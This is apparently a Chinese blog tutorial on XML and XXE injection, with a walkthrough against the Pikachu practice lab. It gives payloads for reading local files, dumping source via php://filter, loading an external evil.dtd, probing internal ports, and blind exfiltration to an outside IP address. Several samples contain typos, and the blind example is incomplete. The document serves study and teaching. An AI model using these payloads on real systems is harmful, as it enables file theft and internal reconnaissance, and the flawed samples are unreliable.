Pikachu–XXE漏洞

Pikachu–XXE漏洞

一、XML基础概念

XML文档结构由XML声明,DTD(文档类型定义),文档元素三部分构成!

#XML是可扩展标记语言(Extensible Markup Language),是设计用来进行数据的传输与存储。
#eg:
<!--XML声明--><!--指明XML文档的版本号与编码,可有可无-->
<?xml version="1.0"encoding="UTF-8"?>
<!--DTD文档类型定义--><!--必须存在根元素,标签名必须成对出现,且区分大小写,可自定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note(to,from,head,body)> <!--定义note元素有四个元素-->
<!--定义to元素为"#PCDATA”类型--><!ELEMENT to(#PCDATA)>
<!ELEMENT from(#PCDATA)><!--定义from元素为"#PCDATA”类型-->
<!ELEMENT head(#PCDATA)><!--定义head元素为"#PCDATA"类型-->
<!ELEMENT body(#PCDATA)><!--定义body元素为"#PCDATA"类型-->
]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note><!--XML注释-->

》》》XML特性《《《

XML 指可扩展标记语言(EXtensible Markup Language)
XML 是一种标记语言,很类似 HTML
XML 的设计宗旨是传输数据,而非显示数据
XML 标签没有被预定义。您需要自行定义标签
XML 被设计为具有自我描述性。
XML 是 W3C 的推荐标准
XML 是不作为的
XML 仅仅是纯文本
XML 可以发明自己的标签

1.XML声明

<!--XML声明--><!--指明XML文档的版本号与编码,可有可无-->
<?xml version="1.0"encoding="UTF-8"?><!--XML注释语法-->

2.DTD

2.1 内部DTD

内部DTD声明格式:
<!D0CTYPE root-element [element-declarations]>
* root-element文档类型(根元素)
* [element-declarations]其余的元素都包含在[]

内部DTD指的是直接在XML文档中声明元素,这时需要在XML的头部声明中添加属性 standalone并将该属性的值设置为"yes"。以下为内部DTD案例:

<?xml version="1.0" encoding="utf-8"standalone="yes" ?>
<!DOCTYPE person [
<!ELEMENT person(name,age,address,country,major)>
<!ELEMENT name (#PCDATA)><!--<!ELEMENT 元素标签-->
<!ELEMENT age (#PCDATA)>
<!ELEMENT address (#PCDATA)>
<!ELEMENT country (#PCDATA)>
<!ELEMENT major (#PCDATA)>
]>
<person>
<name>Bob</name>
<age>24</age>
<address>1-1-110</address>
<country>China</country>
<major>History</major>
</person>

其中<!ELEMENT person(name,age,address,country,major)>定义了person根节点下面存在name、age等属性。而<!ELEMENT name (#PCDATA)>则定义了name属性的类型是(#PCDATA)。

2.2 外部DTD

​ 外部DTD元素定义在XML文档之外,可以是合法的.dtd文件,也可以是有效的URL。如果要引用外部DTD,那么在XML的头部声明中,需要设置standalone属性为"no"即:standalone=“no”这一点和 css,javascript 很像!

<!ENTITY element SYSTEM "xxx.dtd |http://...
eg:
<!ENTITY element1 SYSTEM "filename.dtd"><!ENTITY element2 SYSTEM "http://www.exp.com/exp.dtd">
#引用外部DTD的格式
<!NENTITY 实体名称 SYSTEM/PUBLIC“外部DTD的资源地址">

使用案例:

test.dtd

<!ELEMENT to(#PCDATA)><!--定义to元素为"#PCDATA"类型-->
<!ELEMENT from(#PCDATA)><!--定义from元素为"#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为"#PCDATA"类型-->
<!ELEMENT body(#PCDATA)><!--定义body元素为"#PCDATA”类型-->
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "test.dtd">
<note>
<to>H</to>
<from>E</from>
<head>L</head>
<body>L0</body>
</note>

2.3 实体

​ 实体是对数据的引用,通常使用 <!ENTITY> 标签定义;根据实体种类的不同,XML 解析器将使用实体的替代文本或者外部文档的内容来替代实体引用,它主要分为以下四类:

内置实体(Built-in entities)
字符实体(Character entities)
通用实体(General entities)
参数实体(Parameter entities)

实体的定义

#实体定义在 DTD声明中<?xml version="1.0"?><!DOCTYPE SSS [
<!ELEMENT SSS ANY><!ENTITY xxe“hello"> <!--<!ENTITY 实体名称 实体值>-->
#实体的应用在文档元素中
<SSS>
<user>&xxe;</user>
<pass>pass</pass>
</sss>
这里定义元素为 ANY 表示可以接受任何元素作为标签,其中“xxe”就是实体了(相当于一个变量),可以在XML文档元素中使用 & 符号对实体进行引用。到时候输出的时候 &xxe;就会被 helLo 替换。

实体类型
实体又分为通用实体和参数实体。
1.通用实体
·用 &实体名;引用,在DTD 中定义(内外DTD都行),在XML文档元素中引用。
2.参数实体
使用 % 实体名:(中间有空格)在DTD中定义(内外DTD都行),并且只能在DTD中使用 %实体名;引用。
在 DTD 文件中,参数实体的声明可以引用其他实体(参数实体和通用实体)

根据实体位置定义位置的不同分为 内部实体 和 外部实体,

其中:内部实体:在DTD中声明实体,则称为内部实体。外部实体:如果在DTD之外声明实体,则称为外部实体。

内部实体

<!--xml声明--><?xml version="1.0" encoding="utf-8" ?>
<!--文档类型定义-->
<!DOCTYPE note [
<!ELEMENT note(#PCDATA)><!ELEMENT to "XXE"><!ELEMENT from "LEARING''>
<!ELEMENT heading "hello'>
<!ELEMENT body "my_friend">
]>
一个实体由三部分构成:一个和号(&),一个实体名称,以及一个分号(;)--><I--<note>
<!-- &to;会被解析为"XXE”-->
&to;
&from;
<!-- &from;会被解析为"LEARING”-->
&heading;<!-- &heading;会被解析为"hello”-->
&body;
</note>

外部实体

<!ENTITY name SYSTEM "URI/URL">
* name实体的名称
SYSTEM关键字米
*URI/URL是双引号或单引号中包含的外部源的地址eg :
<!ENTITY writer SYSTEM"<http://vuln.4pts.online/note.dtd>">使用的方式与上述内部实体例子相同,只不过当前是从外部引入,可以是一个URL链接中的文件,也可以是本地的文件(这也就造成了安全的风险)

实例

<!--test.dtd -->
<!DOCTYPE a[
<!ENTITY % name SYSTEM "file:///D:/test.dtd">&name;
]><!--1.xml -->
<!ENTITY 名实体名称 SYSTEM“URI'>

补充:

#PCDATA
PCDATA 的意思是被解析的字符数据(parsed character data)。3可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本,PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记,文本中的标签会被当作标记来处理,而实体会被展开。不过,被解析的字符数据不应当包含任何 &<或者 >字符;需要使用 &amp;&lt;以及 &gt;实体来分别替换它们;
L
6
#CDATA
CDATA 的意思是字符数据(character data)。CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开;

3.文档元素

xml属性

XML支持在标签元素中定义属性,写法类似于HTML,eg<name len="3">Bob</name>

转义字符
在这里插入图片描述
CDATA区域

XML规定,对CDATA区域内的所有特殊字符不进行解析。<![CDATA[【CDATA区域内容】]]>

二、攻击原理

​ XML外部实体注入(XML Extenrnal Entity Injection),简称XXE漏洞。引发XXE漏洞的主要原因是XML解析依赖库libxml默认开启了对外部实体的引用,导致服务端在解析用户提交的XML信息时未作处理直接进行解析,导致加载恶意的外部文件和代码,造成任意文件读取,命令执行(利用条件苛刻)、内网扫描等危害

三、漏洞复现

使用的Pikachu靶场
在这里插入图片描述
1.测试

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe "as" > ]> 
<foo>&xxe;</foo>

在这里插入图片描述2.查看文件:c:windows/win.ini里面的内容

<?xml version="1.0"?>
![<!DOCTYPE foo \[
<!ENTITY xxe SYSTEM "file:///c:windows/win.ini"> \]>
<foo>&xxe;</foo>
```](https://i-blog.csdnimg.cn/direct/150c11feb9434a329a14cdc9e92938ac.png)### 3.查看源码利用php://协议的filter过滤器以base64编码读取服务器/本地文件```bash
<?xml version="1.0"?>
<!DOCTYPE foo[
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=C:/Users/1/Desktop/phpinfo.php">
]>
<foo>&xxe;</foo>

在这里插入图片描述

然后解码(随便找一个在线编码工具解码即可)
在这里插入图片描述

4.DTD外部调用

先写一个外部DTD文件

<!--evil.dtd  -->
<!ENTITY evil SYSTEM "file:///c:/windows/system.ini">

通过参数实体去引用evil.dtd,然后调用%xxe;

<?xml version="1.0"?>
<!DOCTYPE foo[
<!ELEMENT foo ANY>
<!ENTITY % xxe SYSTEM "http://127.0.0.1:80/sis2406_php/evil.dtd">
%xxe;
]>
<foo>&evil;</foo>

在这里插入图片描述

探测内网存活主机与开放端口

<?xml version="1.0"?>
<!DOCTYPE foo[
<!ELEMENT foo ANY>
<!ENTITY rabbit SYSTEM "http://127.0.0.1:8081">
]>
<x>&rabbit;</x>

访问不存在的端口页面响应缓慢,访问存在的端口页面响应正常
在这里插入图片描述
6.无回显探测

#evil.dtd
<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://192.168.30.128:8888/?
'>">
%start;
<?xml version="1.0"?>
<!DOCTYPE message [    
<!ENTITY % remote SYSTEM "http://127.0.0.1/sis2406_php/evil.dtd">    
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/result.txt">    
%remote;    
%send;
]>

在c盘放入result.txt,里面写要传入的参数。
在这里插入图片描述
开启端口探测
在这里插入图片描述在这里插入图片描述

实例:

在这个网站下水边输入点数据能看见回显点
在这里插入图片描述
抓包后去查看文件flag内容,flag在c盘下面,然后再username里写实体内容回显值
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/17056.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

matlab-simulink

1、信号到对象解析指示符 代表的意义是&#xff1a;信号名称必须解析为信号对象 2、input inport 双击空白区域输入模块名字&#xff0c;自动联想显示相关模块 没看出太大的差别 3、Stateflow 双击空白区域输入stateflow、或者chart或者常用库里面去查找 4、离散时间积分…

简单几个步骤完成 Oracle 到金仓数据库(KingbaseES)的迁移目标

作为国产数据库的领军选手&#xff0c;金仓数据库&#xff08;KingbaseES&#xff09;凭借其成熟的技术架构和广泛的市场覆盖&#xff0c;在国内众多领域中扮演着至关重要的角色。无论是国家电网、金融行业&#xff0c;还是铁路、医疗等关键领域&#xff0c;金仓数据库都以其卓…

网络安全概论——网络安全基础

一、网络安全引言 信息安全的四个属性&#xff08;信息安全的基本目标 &#xff09; 保密性:信息不会被泄露给非授权用户完整性&#xff1a;保证数据的一致性可用性&#xff1a;合法用户不会被拒绝服务合法使用&#xff1a;不会被非授权用户或以非授权的方式使用 二、网络安全…

数据结构-链式二叉树

文章目录 一、链式二叉树1.1 链式二叉树的创建1.2 根、左子树、右子树1.3 二叉树的前中后序遍历1.3.1前(先)序遍历1.3.2中序遍历1.3.3后序遍历 1.4 二叉树的节点个数1.5 二叉树的叶子结点个数1.6 第K层节点个数1.7 二叉树的高度1.8 查找指定的值(val)1.9 二叉树的销毁 二、层序…

SpringCloud系列教程:微服务的未来(二十三)SpringAMQP快速入门、Work Queues、Fanout交换机

前言 Spring AMQP是Spring框架中用于与消息中间件&#xff08;如RabbitMQ&#xff09;进行交互的一个项目&#xff0c;它简化了消息发送、接收以及消息处理的过程。通过Spring AMQP&#xff0c;开发者可以快速实现基于RabbitMQ的消息传递系统。本文将介绍Spring AMQP的快速入门…

单片机简介

一、单片机简介 电脑和单片机性能对比 二、单片机发展历程 三、CISC VS RISC

Java中面向对象的三大特性 -- 有关多态

学习目标 理解多态掌握instanceof了解抽象类&#xff0c;抽象方法 1.多态(向上转型) ● 现在我们已经学会了继承&#xff08;类与类之间的&#xff09;关系&#xff0c;并且能够在子类继承父类的基础上进一步对子类的数据及操作进行扩展&#xff0c;增加新的成员变量和方法或…

在本地校验密码或弱口令 (windows)

# 0x00 背景 需求是验证服务器的弱口令&#xff0c;如果通过网络侧校验可能会造成账户锁定风险。在本地校验不会有锁定风险或频率限制。 # 0x01 实践 ## 1 使用 net use 命令 可以通过命令行使用 net use 命令来验证本地账户的密码。打开命令提示符&#xff08;CMD&#xff0…

蓝桥杯嵌入式备赛(四)—— 中断 + UART

目录 一、STM32 NVIC中断系统1、NVIC介绍2、Cortex-M4优先级设置 二、UART介绍1、原理图介绍2、原理图介绍及编程步骤&#xff08;1&#xff09;CubeMX设置&#xff08;2&#xff09;UART 发送&#xff08;3&#xff09;UART 接收 一、STM32 NVIC中断系统 1、NVIC介绍 STM32G4…

AI前端开发的学习成本与回报——效率革命的曙光

近年来&#xff0c;人工智能技术飞速发展&#xff0c;深刻地改变着各行各业。在软件开发领域&#xff0c;AI写代码工具的出现更是掀起了一场效率革命。AI前端开发&#xff0c;作为人工智能技术与前端开发技术的完美结合&#xff0c;正展现出巨大的发展潜力&#xff0c;为开发者…

AI前端开发的持续学习策略:拥抱变化,精进技艺

在飞速发展的科技浪潮中&#xff0c;AI前端开发领域正经历着日新月异的变化。作为一名AI前端开发者&#xff0c;你是否感到技术更新迭代之快&#xff0c;对自身持续学习能力提出了更高的要求&#xff1f; 想要在竞争激烈的行业中保持领先地位&#xff0c;持续学习不再是一种选择…

sql盲注脚本

在sqli-labs中的第8题无回显可以尝试盲注的手法获取数据 发现页面加载了3秒左右可以进行盲注 布尔盲注数据库名 import requestsdef inject_database(url):datanamefor i in range(1,15):low 32high 128mid (low high) // 2while low < high:path "id1 and asci…

DeepSeekR1 苹果macbook M1本地可视化运行!

过年了&#xff0c;就带了一台 macbook air 8g&#xff0c;DeepSeekR1的消息还是铺天盖地的来&#xff0c;我就想着在这台电脑上也装一个吧。 经过简单的配置&#xff0c;最终也运行起来了&#xff0c;速度还可以。 我这是首款M系列笔记本&#xff0c;也是现在最低配的 M 系列…

centos 10 离线安装dnf 和 设置dnf镜像源

离线安装dnf可用kimi搜索, centos 使用curl 下载dnf 的rpm包 mkdir ~/dnf_packages cd ~/dnf_packages# CentOS 7 示例 curl -O http://springdale.math.ias.edu/data/puias/unsupported/7/x86_64/dnf-0.6.4-2.sdl7.noarch.rpm curl -O http://springdale.math.ias.edu/data/pu…

Vivado生成edif网表及其使用

介绍如何在Vivado中将模块设为顶层&#xff0c;并生成相应的网表文件&#xff08;Verilog文件和edif文件&#xff09;&#xff0c;该过程适用于需要将一个模块作为顶层设计进行综合&#xff0c;并生成用于其他工程中的网表文件的情况。 例如要将fpga_top模块制作成网表给其它工…

【Python网络爬虫】爬取网站图片实战

【Python网络爬虫】爬取网站图片实战 Scrapying Images on Website in Action By Jackson@ML *声明:本文简要介绍如何利用Python爬取网站数据图片,仅供学习交流。如涉及敏感图片或者违禁事项,请注意规避;笔者不承担相关责任。 1. 创建Python项目 1) 获取和安装最新版…

Python从0到100(八十八):LSTM网络详细介绍及实战指南

前言&#xff1a; 零基础学Python&#xff1a;Python从0到100最新最全教程。 想做这件事情很久了&#xff0c;这次我更新了自己所写过的所有博客&#xff0c;汇集成了Python从0到100&#xff0c;共一百节课&#xff0c;帮助大家一个月时间里从零基础到学习Python基础语法、Pyth…

window patch按块分割矩阵

文章目录 1. excel 示意2. pytorch代码3. window mhsa 1. excel 示意 将一个三维矩阵按照window的大小进行拆分成多块2x2窗口矩阵&#xff0c;具体如下图所示 2. pytorch代码 pytorch源码 import torch import torch.nn as nn import torch.nn.functional as Ftorch.set_p…

python013-基于Python的智能停车系统的设计与实现(源码+数据库+论文+部署讲解等)

&#x1f495;&#x1f495;作者&#xff1a; 爱笑学姐 &#x1f495;&#x1f495;个人简介&#xff1a;十年Java&#xff0c;Python美女程序员一枚&#xff0c;精通计算机专业前后端各类框架。 &#x1f495;&#x1f495;各类成品Java毕设 。javaweb&#xff0c;ssm&#xf…

gitlab无法登录问题

在我第一次安装gitlab的时候发现登录页面是 正常的页面应该是 这种情况的主要原因是不是第一次登录&#xff0c;所以我们要找到原先的密码 解决方式&#xff1a; [rootgitlab ~]# vim /etc/gitlab/initial_root_password# WARNING: This value is valid only in the followin…